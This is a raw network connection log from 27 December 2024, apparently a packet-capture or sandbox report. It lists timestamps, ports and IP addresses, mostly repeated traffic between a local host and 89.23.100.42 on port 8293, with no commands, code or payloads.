Dec 27, 2024 14:43:17.627284050 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:17.746822119 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:17.851499081 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:17.970972061 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:17.971120119 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:18.090555906 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:18.105499983 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:18.224931002 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:18.236768961 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:18.302972078 CET	49839	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:18.356317043 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:18.387654066 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:18.507292986 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:18.537704945 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:18.657237053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:18.671857119 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:18.791724920 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:18.868377924 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:18.987848997 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:19.218792915 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:19.338376999 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:19.355618954 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:19.475219011 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:19.504939079 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:19.624607086 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:19.624886036 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:19.744568110 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:19.744621992 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:19.867250919 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:19.867332935 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:19.988886118 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.027987003 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:20.148112059 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.248816013 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:20.368298054 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.368385077 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:20.487925053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.491652966 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:20.611803055 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.611880064 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:20.731394053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.731568098 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:20.851289988 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.851346016 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:20.971045017 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:20.971960068 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:21.091692924 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:21.099271059 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:21.218760967 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:21.273544073 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:21.393105984 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:21.393173933 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:21.512660027 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:21.512768984 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:21.632626057 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:21.908096075 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.027543068 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.027605057 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.147054911 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.147460938 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.269500017 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.294290066 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.325584888 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:22.325679064 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:22.325717926 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:22.414416075 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.429501057 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.549021959 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.549103022 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.668520927 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.668575048 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.787986994 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.842935085 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:22.962491035 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:22.998976946 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:23.118624926 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:23.124826908 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:23.244332075 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:23.297019005 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:23.416435003 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:23.429363012 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:23.549273014 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:23.565957069 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:23.685758114 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:23.710936069 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:23.830477953 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:23.830668926 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:23.950835943 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:23.950925112 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:24.070405006 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:24.070630074 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:24.190123081 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:24.190923929 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:24.310475111 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:24.373065948 CET	49791	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:24.373084068 CET	443	49791	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:24.446739912 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:24.566236019 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:25.038289070 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:25.157815933 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:25.213680983 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:25.534039021 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:25.534113884 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:25.654376030 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:25.654443979 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:25.773962021 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:25.774023056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:25.893512964 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:25.893563986 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.013089895 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.013181925 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.132941008 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.133068085 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.252569914 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.252657890 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.372126102 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.372210026 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.491815090 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.491867065 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.611438036 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.611529112 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.731100082 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.731229067 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.850862980 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.850987911 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:26.970685959 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:26.970735073 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:27.090269089 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:27.090389013 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:27.210146904 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:27.257621050 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:27.638959885 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:27.866827965 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:27.866903067 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:27.866905928 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:27.986759901 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:27.986809969 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.026443005 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:28.026484966 CET	443	49828	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:28.026709080 CET	49828	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:28.106662035 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.106725931 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.226140976 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.226193905 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.345597029 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.345663071 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.465214968 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.465257883 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.584773064 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.589060068 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.708539963 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.716579914 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.836034060 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.840615034 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:28.960186958 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:28.963365078 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.082921028 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.085395098 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.204963923 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.205023050 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.324481010 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.324527025 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.444001913 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.460479021 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.580121994 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.580252886 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.699681997 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.699738979 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.819226027 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.819300890 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:29.938807011 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:29.986057997 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:30.105597019 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:30.394965887 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:30.514518976 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:30.527776957 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:30.647326946 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:30.653348923 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:30.772954941 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:30.849493027 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:30.969119072 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:30.986547947 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:31.106345892 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:31.130006075 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:31.252224922 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:31.252279043 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:31.371876955 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:31.394438982 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:31.517144918 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:31.536808014 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:31.656333923 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:31.662599087 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:31.782068014 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:31.800435066 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:31.921190023 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:31.923265934 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:32.043045044 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:32.107306004 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:32.226874113 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:32.265094995 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:32.384807110 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:32.393434048 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:32.512917042 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:32.544125080 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:32.663651943 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:32.690433025 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:32.809889078 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:32.897080898 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:33.016896009 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:33.435888052 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:33.555561066 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:33.622577906 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:33.742245913 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:33.754528999 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:33.874058962 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:33.907093048 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.026648998 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:34.084490061 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.203979015 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:34.214545965 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.334063053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:34.334134102 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.453646898 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:34.461688042 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.581371069 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:34.581479073 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.701026917 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:34.742212057 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.863091946 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:34.872987986 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:34.992655039 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:35.000057936 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:35.119709969 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:35.129811049 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:35.249272108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:35.254111052 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:35.373630047 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:35.374326944 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:35.493747950 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:35.513237000 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:35.513921976 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:35.632782936 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:35.633409977 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:35.633579016 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.298393965 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.417892933 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.424124002 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.434983969 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.543590069 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.543641090 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.554455996 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.558321953 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.663125038 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.677836895 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.690859079 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.692739010 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.810364008 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.812175989 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.841583014 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.843297958 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.961029053 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.962235928 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:36.962796926 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:36.963752031 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:37.066332102 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.066416025 CET	50027	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:37.081741095 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.083235025 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.134484053 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:37.185925961 CET	8293	50027	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.253961086 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.445801020 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:37.565363884 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.568356037 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:37.687939882 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.724571943 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:37.844120979 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.844850063 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:37.964828968 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:37.964905024 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:38.084553003 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:38.096683979 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:38.216188908 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:38.247127056 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:38.366585970 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:38.410939932 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:38.530601978 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:38.619421005 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:38.738951921 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:39.302721977 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:39.422759056 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:39.451654911 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:39.571141005 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:39.604289055 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:39.723824024 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:39.801621914 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:39.921160936 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.011249065 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:40.130919933 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.160712004 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:40.280385017 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.347587109 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:40.467375040 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.482500076 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:40.601974964 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.628267050 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:40.747759104 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.748476028 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:40.868174076 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.868232965 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:40.988746881 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:40.988831043 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:41.108788967 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:41.108864069 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:41.228521109 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:41.228584051 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:41.348126888 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:41.348205090 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:41.468689919 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:41.468760014 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:41.588315010 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:41.746742010 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:41.866249084 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:42.134816885 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:42.254520893 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:42.272798061 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:42.392433882 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:42.420640945 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:42.540163040 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:42.540235043 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:42.659842014 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:42.716129065 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:42.810026884 CET	49828	443	192.168.2.4	172.64.41.3
